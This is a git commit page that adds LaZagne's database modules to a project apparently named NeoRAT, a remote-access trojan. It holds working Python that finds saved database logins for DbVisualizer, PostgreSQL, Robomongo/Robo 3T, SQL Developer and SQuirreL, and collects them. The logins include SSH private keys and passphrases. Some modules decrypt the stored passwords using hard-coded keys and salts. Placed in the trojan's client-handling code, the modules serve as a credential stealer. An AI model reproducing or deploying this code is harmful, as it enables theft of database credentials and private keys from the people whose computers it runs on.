summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/databases
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/databases
NeoRATHEADmain
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/databases')
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/dbvis.py79
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/postgresql.py32
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/robomongo.py101
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py106
-rw-r--r--foreign/client_handling/lazagne/softwares/databases/squirrel.py27
6 files changed, 345 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/databases/__init__.py b/foreign/client_handling/lazagne/softwares/databases/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/databases/dbvis.py b/foreign/client_handling/lazagne/softwares/databases/dbvis.py
new file mode 100644
index 0000000..c76060b
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/dbvis.py
@@ -0,0 +1,79 @@
+# -*- coding: utf-8 -*-
+import array
+import base64
+import binascii
+import hashlib
+import os
+import re
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, CBC
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Dbvisualizer(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='dbvis', category='databases')
+
+ self._salt = self.get_salt()
+ self._passphrase = 'qinda'
+ self._iteration = 10
+
+ def get_salt(self):
+ salt_array = [-114, 18, 57, -100, 7, 114, 111, 90]
+ salt = array.array('b', salt_array)
+ hexsalt = binascii.hexlify(salt)
+ return binascii.unhexlify(hexsalt)
+
+ def get_derived_key(self, password, salt, count):
+ key = bytearray(password) + salt
+
+ for i in range(count):
+ m = hashlib.md5(key)
+ key = m.digest()
+ return key[:8], key[8:]
+
+ def decrypt(self, msg):
+ enc_text = base64.b64decode(msg)
+ (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
+ crypter = des(dk, CBC, iv)
+ text = crypter.decrypt(enc_text)
+ return re.sub(r'[\x01-\x08]', '', text)
+
+ def run(self):
+ path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml')
+ if os.path.exists(path):
+ tree = ElementTree(file=path)
+
+ pwd_found = []
+ elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'}
+
+ for e in tree.findall('Databases/Database'):
+ values = {}
+ for elem in elements:
+ try:
+ if elem != "Password":
+ values[elements[elem]] = e.find(elem).text
+ else:
+ values[elements[elem]] = self.decrypt(e.find(elem).text)
+ except Exception:
+ pass
+
+ try:
+ elem = e.find('UrlVariables')
+ for ee in elem.getchildren():
+ for ele in ee.getchildren():
+ if 'Server' == ele.attrib['UrlVariableName']:
+ values['Host'] = str(ele.text)
+ if 'Port' == ele.attrib['UrlVariableName']:
+ values['Port'] = str(ele.text)
+ if 'SID' == ele.attrib['UrlVariableName']:
+ values['SID'] = str(ele.text)
+ except Exception:
+ pass
+
+ if values:
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/databases/postgresql.py b/foreign/client_handling/lazagne/softwares/databases/postgresql.py
new file mode 100644
index 0000000..e2ecfb6
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/postgresql.py
@@ -0,0 +1,32 @@
+# -*- coding: utf-8 -*-
+
+import os
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class PostgreSQL(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='postgresql', category='databases')
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf')
+ if os.path.exists(path):
+ with open(path) as f:
+ pwd_found = []
+ for line in f.readlines():
+ try:
+ items = line.strip().split(':')
+ pwd_found.append({
+ 'Hostname': items[0],
+ 'Port': items[1],
+ 'DB': items[2],
+ 'Username': items[3],
+ 'Password': items[4]
+ })
+
+ except Exception:
+ pass
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/databases/robomongo.py b/foreign/client_handling/lazagne/softwares/databases/robomongo.py
new file mode 100644
index 0000000..f7148d4
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/robomongo.py
@@ -0,0 +1,101 @@
+# -*- coding: utf-8 -*-
+import json
+import os
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Robomongo(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'robomongo', 'databases')
+
+ self.paths = [
+ {
+ 'directory': u'.config/robomongo',
+ 'filename': u'robomongo.json',
+ },
+ {
+ 'directory': u'.3T/robo-3t/1.1.1',
+ 'filename': u'robo3t.json',
+ }
+ ]
+
+ def read_file_content(self, file_path):
+ """
+ Read the content of a file
+
+ :param file_path: Path of the file to read.
+
+ :return: File content as string.
+ """
+ content = ""
+ if os.path.isfile(file_path):
+ with open(file_path, 'r') as file_handle:
+ content = file_handle.read()
+
+ return content
+
+ def parse_json(self, connection_file_path):
+ repos_creds = []
+ if not os.path.exists(connection_file_path):
+ return repos_creds
+ with open(connection_file_path) as connection_file:
+ try:
+ connections_infos = json.load(connection_file)
+ except Exception:
+ return repos_creds
+ for connection in connections_infos.get("connections", []):
+ try:
+ creds = {
+ "Name": connection["connectionName"],
+ "Host": connection["serverHost"],
+ "Port": connection["serverPort"]
+ }
+ crd = connection["credentials"][0]
+ if crd.get("enabled"):
+ creds.update({
+ "AuthMode": "CREDENTIALS",
+ "DatabaseName": crd["databaseName"],
+ "AuthMechanism": crd["mechanism"],
+ "Login": crd["userName"],
+ "Password": crd["userPassword"]
+ })
+ else:
+ creds.update({
+ "Host": connection["ssh"]["host"],
+ "Port": connection["ssh"]["port"],
+ "Login": connection["ssh"]["userName"]
+ })
+ if connection["ssh"]["enabled"] and connection["ssh"]["method"] == "password":
+ creds.update({
+ "AuthMode": "SSH_CREDENTIALS",
+ "Password": connection["ssh"]["userPassword"]
+ })
+ else:
+ creds.update({
+ "AuthMode": "SSH_PRIVATE_KEY",
+ "Passphrase": connection["ssh"]["passphrase"],
+ "PrivateKey": self.read_file_content(connection["ssh"]["privateKeyFile"]),
+ "PublicKey": self.read_file_content(connection["ssh"]["publicKeyFile"])
+ })
+ repos_creds.append(creds)
+ except Exception as e:
+ self.error(u"Cannot retrieve connections credentials '{error}'".format(error=e))
+
+ return repos_creds
+
+ def run(self):
+ """
+ Extract all connection's credentials.
+
+ :return: List of dict in which one dict contains all information for a connection.
+ """
+ pwd_found = []
+ for directory in self.paths:
+ connection_file_path = os.path.join(constant.profile['USERPROFILE'],
+ directory['directory'],
+ directory['filename'])
+ pwd_found.extend(self.parse_json(connection_file_path))
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py b/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py
new file mode 100644
index 0000000..c8e7e36
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py
@@ -0,0 +1,106 @@
+# -*- coding: utf-8 -*-
+import array
+import base64
+import binascii
+import hashlib
+import os
+import re
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, CBC
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class SQLDeveloper(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'sqldeveloper', 'databases')
+
+ self._salt = self.get_salt()
+ self._passphrase = None
+ self._iteration = 42
+
+ def get_salt(self):
+ salt_array = [5, 19, -103, 66, -109, 114, -24, -83]
+ salt = array.array('b', salt_array)
+ hexsalt = binascii.hexlify(salt)
+ return binascii.unhexlify(hexsalt)
+
+ def get_derived_key(self, password, salt, count):
+ key = bytearray(password) + salt
+ for i in range(count):
+ m = hashlib.md5(key)
+ key = m.digest()
+ return key[:8], key[8:]
+
+ def decrypt(self, msg):
+ enc_text = base64.b64decode(msg)
+ (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
+ crypter = des(dk, CBC, iv)
+ text = crypter.decrypt(enc_text)
+ return re.sub(r'[\x01-\x08]', '', text)
+
+ def get_passphrase(self, path):
+ xml_name = u'product-preferences.xml'
+ xml_file = None
+
+ if os.path.exists(os.path.join(path, xml_name)):
+ xml_file = os.path.join(path, xml_name)
+ else:
+ for p in os.listdir(path):
+ if p.startswith('system'):
+ new_directory = os.path.join(path, p)
+
+ for pp in os.listdir(new_directory):
+ if pp.startswith(u'o.sqldeveloper'):
+ if os.path.exists(os.path.join(new_directory, pp, xml_name)):
+ xml_file = os.path.join(new_directory, pp, xml_name)
+ break
+ if xml_file:
+ tree = ElementTree(file=xml_file)
+ for elem in tree.iter():
+ if 'n' in elem.attrib.keys():
+ if elem.attrib['n'] == 'db.system.id':
+ return elem.attrib['v']
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'SQL Developer')
+ if os.path.exists(path):
+ self._passphrase = self.get_passphrase(path)
+ if self._passphrase:
+ self.debug(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase))
+ xml_name = u'connections.xml'
+ xml_file = None
+
+ if os.path.exists(os.path.join(path, xml_name)):
+ xml_file = os.path.join(path, xml_name)
+ else:
+ for p in os.listdir(path):
+ if p.startswith('system'):
+ new_directory = os.path.join(path, p)
+
+ for pp in os.listdir(new_directory):
+ if pp.startswith(u'o.jdeveloper.db.connection'):
+ if os.path.exists(os.path.join(new_directory, pp, xml_name)):
+ xml_file = os.path.join(new_directory, pp, xml_name)
+ break
+
+ if xml_file:
+ renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login',
+ 'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL',
+ 'SavePassword': 'SavePassword', 'driver': 'Driver'}
+ tree = ElementTree(file=xml_file)
+
+ pwd_found = []
+ for e in tree.findall('Reference'):
+ values = {}
+ for ee in e.findall('RefAddresses/StringRefAddr'):
+ if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None:
+ name = renamed_value[ee.attrib['addrType']]
+ value = ee.find('Contents').text if name != 'Password' else self.decrypt(
+ ee.find('Contents').text)
+ values[name] = value
+
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/databases/squirrel.py b/foreign/client_handling/lazagne/softwares/databases/squirrel.py
new file mode 100644
index 0000000..4115fac
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/databases/squirrel.py
@@ -0,0 +1,27 @@
+# -*- coding: utf-8 -*-
+import os
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Squirrel(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='squirrel', category='databases')
+
+ def run(self):
+ path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml')
+ if os.path.exists(path):
+ tree = ElementTree(file=path)
+ pwd_found = []
+ elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'}
+ for elem in tree.iter('Bean'):
+ values = {}
+ for e in elem:
+ if e.tag in elements:
+ values[elements[e.tag]] = e.text
+ if values:
+ pwd_found.append(values)
+
+ return pwd_found